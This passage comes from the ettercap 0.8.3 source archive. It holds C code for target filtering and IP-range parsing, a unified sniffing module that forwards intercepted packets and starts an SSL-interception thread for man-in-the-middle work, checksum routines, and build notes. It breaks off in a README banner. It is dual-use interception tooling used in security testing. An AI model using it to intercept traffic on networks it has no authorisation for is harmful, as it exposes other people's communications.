(EC_GBL_OPTIONS->broadcast && ip_addr_is_broadcast(&po->L3.dst) == E_SUCCESS) || (EC_GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.dst, NULL) != E_SUCCESS) ) && (EC_GBL_TARGET2->all_port || BIT_TEST(EC_GBL_TARGET2->ports, ntohs(po->L4.dst))) ) ) good = 1; /* * reverse the matching but only if it has matched ! * if good && proto is false, we have to go on with * tests and evaluate it later */ if ((good && proto) && EC_GBL_OPTIONS->reversed ^ (good && proto) ) { po->flags &= ~PO_IGNORE; return; } value = 0; /* FROM TARGET2 TO TARGET1 */ /* T1.mac == dst & T1.ip = dst & T1.port = dst */ /* if broadcast then T2 -> broadcast */ if ( (EC_GBL_TARGET1->all_mac || !memcmp(EC_GBL_TARGET1->mac, po->L2.dst, MEDIA_ADDR_LEN) || !memcmp(EC_GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN)) && (EC_GBL_TARGET1->all_ip || cmp_ip_list(&po->L3.dst, EC_GBL_TARGET1) || (EC_GBL_OPTIONS->broadcast && ip_addr_is_broadcast(&po->L3.dst) == E_SUCCESS) || (EC_GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.dst, NULL) != E_SUCCESS) ) && (EC_GBL_TARGET1->all_port || BIT_TEST(EC_GBL_TARGET1->ports, ntohs(po->L4.dst))) ) value = 1; /* T2.mac == src & T2.ip = src & T2.port = src */ if ( value && ( (EC_GBL_TARGET2->all_mac || !memcmp(EC_GBL_TARGET2->mac, po->L2.src, MEDIA_ADDR_LEN)) && (EC_GBL_TARGET2->all_ip || cmp_ip_list(&po->L3.src, EC_GBL_TARGET2) || (EC_GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.src, NULL) != E_SUCCESS) ) && (EC_GBL_TARGET2->all_port || BIT_TEST(EC_GBL_TARGET2->ports, ntohs(po->L4.src))) ) ) good = 1; /* reverse the matching */ if (EC_GBL_OPTIONS->reversed ^ (good && proto) ) { po->flags &= ~PO_IGNORE; } return; } /* * set the filter to ANY/ANY/ANY */ void reset_display_filter(struct target_env *t) { DEBUG_MSG("reset_display_filter %p", t); free_ip_list(t); memset(t->ports, 0, sizeof(t->ports)); memset(t->mac, 0, sizeof(t->mac)); t->all_mac = 1; t->all_ip = 1; t->all_ip6 = 1; t->all_port = 1; t->scan_all = 0; } /* * compile the list of MAC, IPs and PORTs to be displayed */ int compile_display_filter(void) { char *t1, *t2; #ifdef WITH_IPV6 /* if not specified default to /// */ if (!EC_GBL_OPTIONS->target1) { EC_GBL_OPTIONS->target1 = strdup("///"); EC_GBL_TARGET1->scan_all = 1; } /* if /// was specified, select all */ else if (!strncmp(EC_GBL_OPTIONS->target1, "///", 3) && strlen(EC_GBL_OPTIONS->target1) == 3) EC_GBL_TARGET1->scan_all = 1; /* if not specified default to /// */ if (!EC_GBL_OPTIONS->target2) { EC_GBL_OPTIONS->target2 = strdup("///"); EC_GBL_TARGET2->scan_all = 1; } /* if /// was specified, select all */ else if (!strncmp(EC_GBL_OPTIONS->target2, "///", 3) && strlen(EC_GBL_OPTIONS->target2) == 3) EC_GBL_TARGET2->scan_all = 1; #else /* if not specified default to // */ if (!EC_GBL_OPTIONS->target1) { EC_GBL_OPTIONS->target1 = strdup("//"); EC_GBL_TARGET1->scan_all = 1; } /* if // was specified, select all */ else if (!strncmp(EC_GBL_OPTIONS->target1, "//", 2) && strlen(EC_GBL_OPTIONS->target1) == 2) EC_GBL_TARGET1->scan_all = 1; /* if not specified default to // */ if (!EC_GBL_OPTIONS->target2) { EC_GBL_OPTIONS->target2 = strdup("//"); EC_GBL_TARGET2->scan_all = 1; } /* if // was specified, select all */ else if (!strncmp(EC_GBL_OPTIONS->target2, "//", 2) && strlen(EC_GBL_OPTIONS->target2) == 2) EC_GBL_TARGET2->scan_all = 1; #endif /* make a copy to operate on */ t1 = strdup(EC_GBL_OPTIONS->target1); t2 = strdup(EC_GBL_OPTIONS->target2); /* compile TARGET1 */ compile_target(t1, EC_GBL_TARGET1); /* compile TARGET2 */ compile_target(t2, EC_GBL_TARGET2); /* the strings were modified, we can't use them anymore */ SAFE_FREE(t1); SAFE_FREE(t2); return E_SUCCESS; } /* * convert a string into a target env */ int compile_target(char *string, struct target_env *target) { #define MAC_TOK 0 #define IP_TOK 1 #ifdef WITH_IPV6 #define IPV6_TOK 2 #define PORT_TOK 3 #define MAX_TOK 4 #else #define PORT_TOK 2 #define MAX_TOK 3 #endif char valid[] = "1234567890/.,-;:ABCDEFabcdef"; char *tok[MAX_TOK]; char *p; int i = 0; DEBUG_MSG("compile_target TARGET: %s", string); /* reset the special marker */ target->all_mac = 0; target->all_ip = 0; target->all_ip6 = 0; target->all_port = 0; /* check for invalid char */ if (strlen(string) != strspn(string, valid)) SEMIFATAL_ERROR("TARGET (%s) contains invalid chars !", string); /* TARGET parsing */ for (p = strsep(&string, "/"); p != NULL; p = strsep(&string, "/")) { tok[i++] = strdup(p); /* bad parsing */ if (i > (MAX_TOK - 1)) break; } if (i != MAX_TOK) #ifdef WITH_IPV6 SEMIFATAL_ERROR("Incorrect number of token (///) in TARGET !!"); #else SEMIFATAL_ERROR("Incorrect number of token (//) in TARGET !!"); #endif DEBUG_MSG("MAC : [%s]", tok[MAC_TOK]); DEBUG_MSG("IP : [%s]", tok[IP_TOK]); #ifdef WITH_IPV6 DEBUG_MSG("IPv6 : [%s]", tok[IPV6_TOK]); #endif DEBUG_MSG("PORT : [%s]", tok[PORT_TOK]); /* set the mac address */ if (!strcmp(tok[MAC_TOK], "")) target->all_mac = 1; else if (mac_addr_aton(tok[MAC_TOK], target->mac) == 0) SEMIFATAL_ERROR("Incorrect TARGET MAC parsing... (%s)", tok[MAC_TOK]); /* parse the IP range */ if (!strcmp(tok[IP_TOK], "")) target->all_ip = 1; else for(p = strsep(&tok[IP_TOK], ";"); p != NULL; p = strsep(&tok[IP_TOK], ";")) expand_range_ip(p, target); #ifdef WITH_IPV6 if(!strcmp(tok[IPV6_TOK], "")) target->all_ip6 = 1; else for(p = strsep(&tok[IPV6_TOK], ";"); p != NULL; p = strsep(&tok[IPV6_TOK], ";")) expand_ipv6(p, target); #endif /* * expand the range into the port bitmap array * 1<<16 is MAX_PORTS */ if (!strcmp(tok[PORT_TOK], "")) target->all_port = 1; else { if (expand_token(tok[PORT_TOK], 1<<16, &add_port, target->ports) == -E_FATAL) SEMIFATAL_ERROR("Invalid port range"); } for(i = 0; i < MAX_TOK; i++) SAFE_FREE(tok[i]); return E_SUCCESS; } /* * set the bit of the relative port */ static void add_port(void *ports, u_int n) { u_int8 *bitmap = ports; if (n > 1<<16) FATAL_ERROR("Port outside the range (65535) !!"); BIT_SET(bitmap, n); } /* * this structure is used to contain all the possible * value of a token. * it is used as a digital clock. * an impulse is made to the last digit and it increment * its value, when it reach the maximum, it reset itself * and gives an impulse to the second to last digit. * the impulse is propagated till the first digit so all * the values are displayed as in a daytime from 00:00 to 23:59 */ struct digit { int n; int cur; u_char values[0xff]; }; /* * prepare the set of 4 digit to create an IP address */ static int expand_range_ip(char *str, void *target) { struct digit ADDR[4]; struct ip_addr tmp; char *addr[4]; char parsed_ip[16]; char *p, *q; int i = 0, j; int permut = 1; char *tok; memset(&ADDR, 0, sizeof(ADDR)); p = str; /* tokenize the ip into 4 slices */ while ((q = ec_strtok(p, ".", &tok)) ) { addr[i++] = strdup(q); /* reset p for the next strtok */ if (p != NULL) p = NULL; if (i > 3) break; } if (i != 4) FATAL_ERROR("Invalid IP format !!"); DEBUG_MSG("expand_range_ip -- [%s] [%s] [%s] [%s]", addr[0], addr[1], addr[2], addr[3]); for (i = 0; i < 4; i++) { p = addr[i]; if (expand_token(addr[i], 255, &add_ip, &ADDR[i]) == -E_FATAL) SEMIFATAL_ERROR("Invalid port range"); } /* count the free permutations */ for (i = 0; i < 4; i++) permut *= ADDR[i].n; /* give the impulses to the last digit */ for (i = 0; i < permut; i++) { snprintf(parsed_ip, 16, "%d.%d.%d.%d", ADDR[0].values[ADDR[0].cur], ADDR[1].values[ADDR[1].cur], ADDR[2].values[ADDR[2].cur], ADDR[3].values[ADDR[3].cur]); if (ip_addr_pton(parsed_ip, &tmp) != E_SUCCESS) FATAL_ERROR("Invalid IP address (%s)", parsed_ip); add_ip_list(&tmp, target); /* give the impulse to the last octet */ ADDR[3].cur++; /* adjust the other digits as in a digital clock */ for (j = 2; j >= 0; j--) { if ( ADDR[j+1].cur >= ADDR[j+1].n ) { ADDR[j].cur++; ADDR[j+1].cur = 0; } } } for (i = 0; i < 4; i++) SAFE_FREE(addr[i]); return E_SUCCESS; } #ifdef WITH_IPV6 /* Adds IPv6 address to the target list */ static int expand_ipv6(char *str, struct target_env *target) { struct ip_addr ip; if(ip_addr_pton(str, &ip) != E_SUCCESS) SEMIFATAL_ERROR("Invalid IPv6 address"); add_ip_list(&ip, target); return E_SUCCESS; } #endif /* fill the digit structure with data */ static void add_ip(void *digit, u_int n) { struct digit *buf = digit; buf->n++; buf->values[buf->n - 1] = (u_char) n; } /* * add an IP to the list */ void add_ip_list(struct ip_addr *ip, struct target_env *t) { struct ip_list *e; struct ip_list *last; SAFE_CALLOC(e, 1, sizeof(struct ip_list)); memcpy(&e->ip, ip, sizeof(struct ip_addr)); switch(ntohs(ip->addr_type)) { case AF_INET: IP_LIST_LOCK; /* * insert it at the end of the list. * search the last element then insert the new one */ LIST_FOREACH (last, &t->ips, next) { /* if already in the list, skip it */ if (!ip_addr_cmp(&last->ip, ip)) { IP_LIST_UNLOCK; return; } if (LIST_NEXT(last, next) == LIST_END(&t->ips)) break; } if (last) LIST_INSERT_AFTER(last, e, next); else LIST_INSERT_HEAD(&t->ips, e, next); /* the target has at least one ip, so remove the "all" flag */ t->all_ip = 0; t->scan_all = 0; IP_LIST_UNLOCK; break; #ifdef WITH_IPV6 case AF_INET6: IP6_LIST_LOCK; LIST_FOREACH(last, &t->ip6, next) { if(!ip_addr_cmp(&last->ip, ip)) { IP6_LIST_UNLOCK; return; } if(LIST_NEXT(last, next) == LIST_END(&t->ip6)) break; } if(last) LIST_INSERT_AFTER(last, e, next); else LIST_INSERT_HEAD(&t->ip6, e, next); t->all_ip6 = 0; t->scan_all = 0; IP6_LIST_UNLOCK; break; #endif } return; } /* * return true if the ip is in the list */ int cmp_ip_list(struct ip_addr *ip, struct target_env *t) { struct ip_list *e; switch(ntohs(ip->addr_type)) { case AF_INET: IP_LIST_LOCK; LIST_FOREACH (e, &t->ips, next) if (!ip_addr_cmp(&(e->ip), ip)) { IP_LIST_UNLOCK; return 1; } IP_LIST_UNLOCK; break; #ifdef WITH_IPV6 case AF_INET6: IP6_LIST_LOCK; LIST_FOREACH(e, &t->ip6, next) if(!ip_addr_cmp(&e->ip, ip)) { IP6_LIST_UNLOCK; return 1; } IP6_LIST_UNLOCK; break; #endif } return 0; } /* * remove an IP from the list */ void del_ip_list(struct ip_addr *ip, struct target_env *t) { struct ip_list *e; switch(ntohs(ip->addr_type)) { case AF_INET: IP_LIST_LOCK; LIST_FOREACH (e, &t->ips, next) { if (!ip_addr_cmp(&(e->ip), ip)) { LIST_REMOVE(e, next); SAFE_FREE(e); /* check if the list is empty */ if (LIST_FIRST(&t->ips) == LIST_END(&t->ips)) { /* the list is empty, set the "all" flag */ t->all_ip = 1; } IP_LIST_UNLOCK; return; } } IP_LIST_UNLOCK; break; #ifdef WITH_IPV6 case AF_INET6: IP6_LIST_LOCK; LIST_FOREACH(e, &t->ip6, next) { if(!ip_addr_cmp(&e->ip, ip)) { LIST_REMOVE(e, next); SAFE_FREE(e); if(LIST_FIRST(&t->ip6) == LIST_END(&t->ip6)) t->all_ip6 = 1; IP6_LIST_UNLOCK; return; } } IP6_LIST_UNLOCK; break; #endif } return; } /* * free the IP list */ void free_ip_list(struct target_env *t) { struct ip_list *e, *tmp; IP_LIST_LOCK; /* delete the list */ LIST_FOREACH_SAFE(e, &t->ips, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); } IP_LIST_UNLOCK; #ifdef WITH_IPV6 IP6_LIST_LOCK; LIST_FOREACH_SAFE(e, &t->ip6, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); } IP6_LIST_UNLOCK; #endif } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_sniff_unified.c0000644000175000017500000001177213505247364017416 0ustar koeppeakoeppea/* ettercap -- unified sniffing method module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* proto */ void start_unified_sniff(void); void stop_unified_sniff(void); void forward_unified_sniff(struct packet_object *po); void unified_check_forwarded(struct packet_object *po); void unified_set_forwardable(struct packet_object *po); /*******************************************/ /* * creates the threads for capturing */ void start_unified_sniff(void) { DEBUG_MSG("start_unified_sniff"); if (EC_GBL_SNIFF->active == 1) { USER_MSG("Unified sniffing already started...\n"); return; } USER_MSG("Starting Unified sniffing...\n\n"); /* create the timeouter thread */ if (!EC_GBL_OPTIONS->read) { pthread_t pid; pid = ec_thread_getpid("timer"); if (pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_new("timer", "conntrack timeouter", &conntrack_timeouter, NULL); } /* create the thread for packet capture */ capture_start(EC_GBL_IFACE); if(EC_GBL_OPTIONS->secondary) secondary_sources_foreach(capture_start); /* start ssl_wrapper thread */ if (!EC_GBL_OPTIONS->read && !EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->only_mitm && EC_GBL_OPTIONS->ssl_mitm) ec_thread_new("sslwrap", "wrapper for ssl connections", &sslw_start, NULL); EC_GBL_SNIFF->active = 1; } /* * kill the capturing threads, but leave untouched the others */ void stop_unified_sniff(void) { pthread_t pid; DEBUG_MSG("stop_unified_sniff"); if (EC_GBL_SNIFF->active == 0) { USER_MSG("Unified sniffing is not running...\n"); return; } /* kill it */ capture_stop(EC_GBL_IFACE); if(EC_GBL_OPTIONS->secondary) secondary_sources_foreach(capture_stop); pid = ec_thread_getpid("sslwrap"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); USER_MSG("Unified sniffing was stopped.\n"); EC_GBL_SNIFF->active = 0; } void forward_unified_sniff(struct packet_object *po) { /* if it was not initialized, no packet are forwardable */ switch(ntohs(po->L3.proto)) { case LL_TYPE_IP: if(!EC_GBL_LNET->lnet_IP4) return; if(!(EC_GBL_IFACE->has_ipv4)) return; break; case LL_TYPE_IP6: if(!EC_GBL_LNET->lnet_IP6) return; if(!(EC_GBL_IFACE->has_ipv6)) return; break; } /* if unoffensive is set, don't forward any packet */ if (EC_GBL_OPTIONS->unoffensive || EC_GBL_OPTIONS->read) return; /* * forward the packet to Layer 3, the kernel * will route them to the correct destination (host or gw) */ /* don't forward dropped packets */ if ((po->flags & PO_DROPPED) == 0) send_to_L3(po); /* * if the packet was modified and it exceeded the mtu, * we have to inject the exceeded data */ if (po->DATA.inject) inject_buffer(po); } /* * check if the packet has been forwarded by us * the source mac address is our, but the ip address is different */ void unified_check_forwarded(struct packet_object *po) { /* the interface was not configured, the packets are not forwardable */ if (!EC_GBL_IFACE->is_ready) return; /* * dont sniff forwarded packets (equal mac, different ip) * but only if we are on live connections */ if (EC_GBL_CONF->skip_forwarded && !EC_GBL_OPTIONS->read && !memcmp(EC_GBL_IFACE->mac, po->L2.src, MEDIA_ADDR_LEN) && ip_addr_is_ours(&po->L3.src) != E_FOUND) { po->flags |= PO_FORWARDED; } } /* * if the dest mac address of the packet is * the same of EC_GBL_IFACE->mac but the dest ip is * not the same as EC_GBL_IFACE->ip, the packet is not * for us and we can do mitm on it before forwarding. */ void unified_set_forwardable(struct packet_object *po) { /* * if the mac is our, but the ip is not... * it has to be forwarded */ if (!memcmp(EC_GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN) && memcmp(EC_GBL_IFACE->mac, po->L2.src, MEDIA_ADDR_LEN) && ip_addr_is_ours(&po->L3.dst) != E_FOUND) { po->flags |= PO_FORWARDABLE; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_libettercap.c0000644000175000017500000000337713505247364017106 0ustar koeppeakoeppea/* ettercap -- global variables handling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* global vars */ /* proto */ /*******************************************/ void libettercap_init(char* program, char* version) { ec_globals_alloc(); EC_GBL_PROGRAM = strdup(program); EC_GBL_VERSION = strdup(version); SAFE_CALLOC(EC_GBL_DEBUG_FILE, strlen(EC_GBL_PROGRAM) + strlen("-") + strlen(EC_GBL_VERSION) + strlen("_debug.log") + 1, sizeof(char)); sprintf(EC_GBL_DEBUG_FILE, "%s-%s_debug.log", EC_GBL_PROGRAM, EC_GBL_VERSION); DEBUG_INIT(); } void libettercap_load_conf(void) { /* load the configuration file */ load_conf(); } void libettercap_ui_init() { /* initialize the user interface */ ui_init(); } void libettercap_ui_start() { /* start the actual user interface */ ui_start(); } void libettercap_ui_cleanup() { /* shutdown the user interface */ ui_cleanup(); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_checksum.c0000644000175000017500000002272113505247364016404 0ustar koeppeakoeppea/* ettercap -- checksumming functions Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* protos... */ static u_int16 sum(u_int8 *buf, size_t len); static u_int16 v4_checksum(struct packet_object *po); static u_int16 v6_checksum(struct packet_object *po); /*******************************************/ static u_int16 sum(u_int8 *buf, size_t len) { /* create union for type punning - elements named as their rep. type */ union { u_int8 u_int8 [4]; u_int16 u_int16[2]; u_int32 u_int32; } u; register u_int8 *cbuf = buf; #if OS_SIZEOF_P == 8 register u_int64 csum = 0; #elif OS_SIZEOF_P == 4 register u_int32 csum = 0; #endif register unsigned int nleft = len; #if OS_SIZEOF_P == 8 while(nleft >= sizeof(u_int32)) { /* assigning bytes from buffer to union for 64-bit systems */ u.u_int8[0] = cbuf[0]; u.u_int8[1] = cbuf[1]; u.u_int8[2] = cbuf[2]; u.u_int8[3] = cbuf[3]; csum += u.u_int32; cbuf += sizeof(u_int32); nleft -= sizeof(u_int32); } #endif while(nleft >= sizeof(u_int16)) { /* assigning bytes from buffer to union for 32-bit systems */ u.u_int8[0] = cbuf[0]; u.u_int8[1] = cbuf[1]; csum += u.u_int16[0]; cbuf += sizeof(u_int16); nleft -= sizeof(u_int16); } if(nleft) { /* one word left */ u.u_int8[0] = cbuf[0]; u.u_int8[1] = 0; csum += u.u_int16[0]; cbuf++; nleft--; } #if OS_SIZEOF_P == 8 csum = (csum >> 32) + (csum & 0xffffffff); csum = (csum >> 32) + (csum & 0xffffffff); #endif csum = (csum >> 16) + (csum & 0xffff); csum += (csum >> 16); return csum; } /* * calculate the checksum of a Layer 3 packet */ u_int16 L3_checksum(u_char *buf, size_t len) { u_int16 csum; csum = sum((u_int8 *) buf, len); return (u_int16)(~csum); } /* * calculate the checksum of a Layer 4 packet */ u_int16 L4_checksum(struct packet_object *po) { switch(ntohs(po->L3.proto)) { case LL_TYPE_IP: return v4_checksum(po); case LL_TYPE_IP6: return v6_checksum(po); default: break; } return 0; } static u_int16 v4_checksum(struct packet_object *po) { u_int32 csum; int len = po->L4.len + po->DATA.len; csum = sum(po->L4.header, len); /* check the pseudo header */ csum += po->L3.src.addr16[0]; csum += po->L3.src.addr16[1]; csum += po->L3.dst.addr16[0]; csum += po->L3.dst.addr16[1]; csum += htons((u_int16)po->L4.proto); csum += htons(len); csum = (csum >> 16) + (csum & 0xffff); csum += (csum >> 16); return (u_int16)(~csum); } static u_int16 v6_checksum(struct packet_object *po) { u_int8 *buf = po->L4.header; u_int16 plen = po->L3.payload_len; u_int32 csum; csum = sum(buf, plen); csum += sum((uint8_t*)&po->L3.src.addr, ntohs(po->L3.src.addr_len)); csum += sum((uint8_t*)&po->L3.dst.addr, ntohs(po->L3.dst.addr_len)); csum += htons(plen + po->L4.proto); csum = (csum & 0xffff) + (csum >> 16); csum += (csum >> 16); return (u_int16)(~csum); } /* * calculate the CRC32 of a buffer */ u_int32 CRC_checksum(u_char *buf, size_t len, u_int32 init) { static unsigned long crc_32_tab[] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; u_int32 crc; size_t i; crc = init; for(i = 0; i < len; i++) crc = crc_32_tab[(crc ^ buf[i]) & 0xff] ^ (crc>>8); return crc; } /* stolen from wireshark source code (in_cksum.c) */ /* * Given the network-byte-order value of the checksum field in a packet * header, and the network-byte-order computed checksum of the data * that the checksum covers (including the checksum itself), compute * what the checksum field *should* have been. */ u_int16 checksum_shouldbe(u_int16 csum, u_int16 computed_sum) { u_int32 shouldbe; /* * The value that should have gone into the checksum field * is the negative of the value gotten by summing up everything * *but* the checksum field. * * We can compute that by subtracting the value of the checksum * field from the sum of all the data in the packet, and then * computing the negative of that value. * * "sum" is the value of the checksum field, and "computed_sum" * is the negative of the sum of all the data in the packets, * so that's -(-computed_sum - sum), or (sum + computed_sum). * * All the arithmetic in question is one's complement, so the * addition must include an end-around carry; we do this by * doing the arithmetic in 32 bits (with no sign-extension), * and then adding the upper 16 bits of the sum, which contain * the carry, to the lower 16 bits of the sum, and then do it * again in case *that* sum produced a carry. * * As RFC 1071 notes, the checksum can be computed without * byte-swapping the 16-bit words; summing 16-bit words * on a big-endian machine gives a big-endian checksum, which * can be directly stuffed into the big-endian checksum fields * in protocol headers, and summing words on a little-endian * machine gives a little-endian checksum, which must be * byte-swapped before being stuffed into a big-endian checksum * field. * * "computed_sum" is a network-byte-order value, so we must put * it in host byte order before subtracting it from the * host-byte-order value from the header; the adjusted checksum * will be in host byte order, which is what we'll return. */ shouldbe = ntohs(csum); shouldbe += ntohs(computed_sum); shouldbe = (shouldbe & 0xFFFF) + (shouldbe >> 16); shouldbe = (shouldbe & 0xFFFF) + (shouldbe >> 16); return shouldbe; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/.gitignore0000644000175000017500000000065013505247364015165 0ustar koeppeakoeppea# Temp files *~ *.bak *.backup \#* .\#* *\# *.swp *.swap *.sav *.save *.autosav *.autosave # Generated binaries *.o *.obj *.elf *.lo *.ko *.so *.so.* *.dll *.dylib *.dynlib *.a *.la *.out *.output # Archives *.zip *.tar.* *.tgz *.gz *.bz2 *.bzip *.xz *.lz *.lzma *.7z *.deb *.rpm *.apk *.exe *.msi *.dmg *.ipa # Others tags .clang_complete gmon.out ettercap-*_debug.log libwdg-*_debug.log build/ include/config.h /obj-*/ ettercap-0.8.3/INSTALL0000644000175000017500000000151113505247364014223 0ustar koeppeakoeppeaThe easiest way: $ mkdir build $ cd build $ cmake ../ $ make $ make install If the build fails because you're missing a dependency: $ (Install any missing dependencies.) $ make clean-all $ cmake ../ $ make $ make install #### Bundled libraries Ettercap now bundles the following libraries with the source distribution: libnet 1.1.6 curl 7.44.0 luajit 2.0.4 check 0.10.0 We will build bundled libraries that Ettercap depends upon, so you don't have to! By default, the build system will search for system-provided libraries. If it doesn't find the particular library it wants, it will build the library, itself. # To disable the use of bundled libraries: $ cmake -DBUNDLED_LIBS=Off ../ # To disable the searching for system-provided libraries, and use # bundled libraries exclusively: $ cmake -DSYSTEM_LIBS=Off ../ ettercap-0.8.3/README.LUA0000644000175000017500000000030313505247364014470 0ustar koeppeakoeppeaEXPERIMENTAL! Requires: LuaJIT >= 2.0.0 (will use bundled LuaJIT if it isn't already installed) Building. mkdir build cd build/ cmake -DENABLE_LUA=On .. make sudo make install ettercap-0.8.3/README.GIT0000644000175000017500000000335013505247364014477 0ustar koeppeakoeppea============================================================================= ============================================================================= @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@ @@@ @@@ @@ @@ @@ @@ 